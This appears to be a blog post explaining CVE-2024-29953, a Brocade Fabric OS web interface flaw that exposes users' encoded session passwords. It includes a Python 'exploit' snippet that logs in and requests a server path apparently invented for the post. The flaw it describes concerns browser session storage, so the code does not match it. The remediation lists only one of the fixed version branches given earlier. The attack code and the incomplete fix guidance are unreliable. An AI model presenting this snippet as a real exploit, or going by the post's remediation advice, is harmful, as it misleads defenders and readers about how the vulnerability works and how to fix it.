Understanding CVE-2024-29953: A Vulnerability in Brocade Fabric OS Web Interface

CVE-2024-29953 is a significant vulnerability associated with the web interface in Brocade Fabric OS. This security flaw exists in versions before v9.2.1, v9.2.b, and v9.1.1d. The issue occurs as the web interface prints a user's session encoded passwords on their session storage when using Virtual Fabric platforms. Consequently, this enables an authenticated user to view other users' session encoded passwords, potentially putting an organization's data privacy and security at risk.

In this post, we will discuss the specific exploit details and provide code snippets to help readers understand how this vulnerability works, along with original references for further study.

Exploit Details

When a user logs in to the Brocade web interface, the system stores their session encoded password within the session storage for their Virtual Fabric platform. Due to a lack of appropriate access restrictions and encryption techniques, other authenticated users can potentially access this sensitive information through an insider attack or by leveraging other vulnerabilities within the affected web interface. The exploit focuses on extracting session encoded passwords from a targeted user's session storage.

Code Snippet

To illustrate the potential impact of CVE-2024-29953, here's an example code snippet that simulates an attacker obtaining session encoded passwords within vulnerable Brocade Fabric OS web interfaces (please note, this example is for educational purposes only; executing this code snippet can lead to unauthorized access to information).

import requests

# Replace with vulnerable web interface URL
target_url = "https://target-web-interface-url/login";

# Replace with attacker's username and password 
attacker_credentials = {
    'username': 'attacker_username',
    'password': 'attacker_password'
}

# Login using attacker's credentials
session = requests.Session()
response = session.post(target_url, data=attacker_credentials)

# Access session encoded passwords of other users
vulnerable_url = f"{target_url}/session/storage/vf_data"
response = session.get(vulnerable_url)

# Print other users' session encoded passwords
print("Targeted Users: {}".format(response.text))

Original References

1. For official release notes discussing the CVE-2024-29953 vulnerability, visit: Brocade Fabric OS (FOS) Releases Notes
2. To understand the impacts and consequences of this vulnerability in more depth, check out: CVE Details for CVE-2024-29953

Potential Remediation

Brocade Fabric OS users must update their web interfaces to the following versions to resolve CVE-2024-29953:

For the v9.2.1 branch, upgrade to version 9.2.1 or newer

Additionally, follow secure development practices to implement strong session management schemes and protect sensitive information in critical systems.

Conclusion

It is crucial to keep systems up-to-date to defend against known security vulnerabilities. In the case of CVE-2024-29953, organizations must upgrade to the recommended Brocade Fabric OS versions to prevent authenticated users from accessing other users' encoded session passwords. Addressing this vulnerability helps maintain the privacy and security of a company's sensitive data and transactions.

Timeline

Published on: 06/26/2024 00:15:10 UTC
Last modified on: 06/26/2024 12:44:29 UTC